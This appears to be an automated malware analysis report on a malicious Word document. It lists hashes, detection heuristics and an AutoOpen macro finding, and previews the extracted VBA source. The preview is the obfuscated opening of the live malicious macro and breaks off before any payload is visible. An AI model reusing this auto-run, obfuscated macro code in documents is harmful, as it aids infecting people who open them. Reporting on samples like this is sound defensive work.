Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d808870a1e8b4be8…

MALICIOUS

Office (OLE)

267.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 4c152032d10b8f884de39b53af55119a SHA-1: 0788a8be575bc5a296b0199654515a69025f3d9b SHA-256: d808870a1e8b4be8ba2943918f961e63fa69c1461777e9cd466530e019476aa9
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious OLE document containing a legacy WordBasic AutoOpen macro. The presence of the AutoOpen marker and the ClamAV detection 'Doc.Malware.Pwshell-6700199-0' strongly indicate malicious intent. The VBA code is heavily obfuscated, but the AutoOpen macro is a common technique for initial execution of malware.

Heuristics 5

  • ClamAV: Doc.Malware.Pwshell-6700199-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Pwshell-6700199-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 130598 bytes
SHA-256: 01108a1d7ded41538c4101290eaaeca155b9da896bad92e993ffdead4b49f522
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const dsyvoTRaLedesOjUWenWaiaXUjIVYSOFAfa = 0
Sub AutoOpen()
On Error Resume Next
Dim wEVsuCisCEpEVEaUleFAtYBiaylhOGeP(5)
Dim dUaIalakASEqIhutABOFUKsavodU(5)

If LenB("pyCUCuHeCESafejufqAFYpY") < 44504 Then
dUaIalakASEqIhutABOFUKsavodU(0) = VarType(Sqr(4450) + CInt("4450"))
End If
dUaIalakASEqIhutABOFUKsavodU(1) = LTrim("pyCUCuHeCESafejufqAFYpY") & "44"
dUaIalakASEqIhutABOFUKsavodU(2) = Day(44504450)

If Len("dUaIalakASEqIhutABOFUKsavodU") < Len("pyCUCuHeCESafejufqAFYpY") Then
dUaIalakASEqIhutABOFUKsavodU(3) = Weekday(44504)
End If

Dim pazUgYDeMYcYFaFaXzaMfofotugYrYjOmOZEpE(5)

If LenB("LerAMUGizosyTADUnORY") < 42553 Then
pazUgYDeMYcYFaFaXzaMfofotugYrYjOmOZEpE(0) = VarType(Sqr(4255) + CInt("4255"))
End If
pazUgYDeMYcYFaFaXzaMfofotugYrYjOmOZEpE(1) = LTrim("LerAMUGizosyTADUnORY") & "33"
pazUgYDeMYcYFaFaXzaMfofotugYrYjOmOZEpE(2) = Day(42554255)

If Len("pazUgYDeMYcYFaFaXzaMfofotugYrYjOmOZEpE") < Len("LerAMUGizosyTADUnORY") Then
pazUgYDeMYcYFaFaXzaMfofotugYrYjOmOZEpE(3) = Weekday(42553)
End If
Dim pykubOJEqAmapARegYZuPYfakoiiXIkXaRe(5)

If LenB("HibhECeXJebUj") < 73464 Then
pykubOJEqAmapARegYZuPYfakoiiXIkXaRe(0) = VarType(Sqr(7346) + CInt("7346"))
End If
pykubOJEqAmapARegYZuPYfakoiiXIkXaRe(1) = LTrim("HibhECeXJebUj") & "44"
pykubOJEqAmapARegYZuPYfakoiiXIkXaRe(2) = Day(73467346)

If Len("pykubOJEqAmapARegYZuPYfakoiiXIkXaRe") < Len("HibhECeXJebUj") Then
pykubOJEqAmapARegYZuPYfakoiiXIkXaRe(3) = Weekday(73464)
End If
If LenB("jYdAloMPusateJABAGv") < 93392 Then
Dim gIaAlaJoziMUTubiriIWoQONaGoQYPJYC(5)

If LenB("HukahyjyHamI") < 73856 Then
gIaAlaJoziMUTubiriIWoQONaGoQYPJYC(0) = VarType(Sqr(7385) + CInt("7385"))
End If
gIaAlaJoziMUTubiriIWoQONaGoQYPJYC(1) = LTrim("HukahyjyHamI") & "66"
gIaAlaJoziMUTubiriIWoQONaGoQYPJYC(2) = Day(73857385)

If Len("gIaAlaJoziMUTubiriIWoQONaGoQYPJYC") < Len("HukahyjyHamI") Then
gIaAlaJoziMUTubiriIWoQONaGoQYPJYC(3) = Weekday(73856)
End If
Dim aaSopiNYzXapInLAjUPetyaoRinIHiGIrajusJOB(5)

If LenB("TUGYRIJiM") < 66535 Then
aaSopiNYzXapInLAjUPetyaoRinIHiGIrajusJOB(0) = VarType(Sqr(6653) + CInt("6653"))
End If
aaSopiNYzXapInLAjUPetyaoRinIHiGIrajusJOB(1) = LTrim("TUGYRIJiM") & "55"
aaSopiNYzXapInLAjUPetyaoRinIHiGIrajusJOB(2) = Day(66536653)

If Len("aaSopiNYzXapInLAjUPetyaoRinIHiGIrajusJOB") < Len("TUGYRIJiM") Then
aaSopiNYzXapInLAjUPetyaoRinIHiGIrajusJOB(3) = Weekday(66535)
End If
wEVsuCisCEpEVEaUleFAtYBiaylhOGeP(0) = VarType(Sqr(9339) + CInt("9339"))
Dim vaPyJPEiUxYaOBuLeFeqoJIibyGi(5)

If LenB("aEmYvuBajaay") < 11694 Then
vaPyJPEiUxYaOBuLeFeqoJIibyGi(0) = VarType(Sqr(1169) + CInt("1169"))
End If
vaPyJPEiUxYaOBuLeFeqoJIibyGi(1) = LTrim("aEmYvuBajaay") & "44"
vaPyJPEiUxYaOBuLeFeqoJIibyGi(2) = Day(11691169)

If Len("vaPyJPEiUxYaOBuLeFeqoJIibyGi") < Len("aEmYvuBajaay") Then
vaPyJPEiUxYaOBuLeFeqoJIibyGi(3) = Weekday(11694)
End If
Dim NynizIQybtYgiwceTEGHYcYLAJaMyXIVIDaNuMEX(5)

If LenB("FUMIiugyaunAP") < 57966 Then
NynizIQybtYgiwceTEGHYcYLAJaMyXIVIDaNuMEX(0) = VarType(Sqr(5796) + CInt("5796"))
End If
NynizIQybtYgiwceTEGHYcYLAJaMyXIVIDaNuMEX(1) = LTrim("FUMIiugyaunAP") & "66"
NynizIQybtYgiwceTEGHYcYLAJaMyXIVIDaNuMEX(2) = Day(57965796)

If Len("NynizIQybtYgiwceTEGHYcYLAJaMyXIVIDaNuMEX") < Len("FUMIiugyaunAP") Then
NynizIQybtYgiwceTEGHYcYLAJaMyXIVIDaNuMEX(3) = Weekday(57966)
End If
End If
wEVsuCisCEpEVEaUleFAtYBiaylhOGeP(1) = LTrim("jYdAloMPusateJABAGv") & "22"
wEVsuCisCEpEVEaUleFAtYBiaylhOGeP(2) = Day(93399339)
Dim DyqATUZIksenifACluLKEemiNIGiNol(5)

If LenB("LYaIiuViiUaieagUPiRaTy") < 82122 Then
DyqATUZIksenifACluLKEemiNIGiNol(0) = VarType(Sqr(8212) + CInt("8212"))
End If
DyqATUZIksenifACluLKEemiNIGiNol(1) = LTrim("LYaIiuViiUaieagUPiRaTy") & "22"
DyqATUZIksenifACluLKEemiNIGiNol(2) = Day(82128212)

If Len("DyqATUZIksenifACluLKEemiNIGiNol"
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.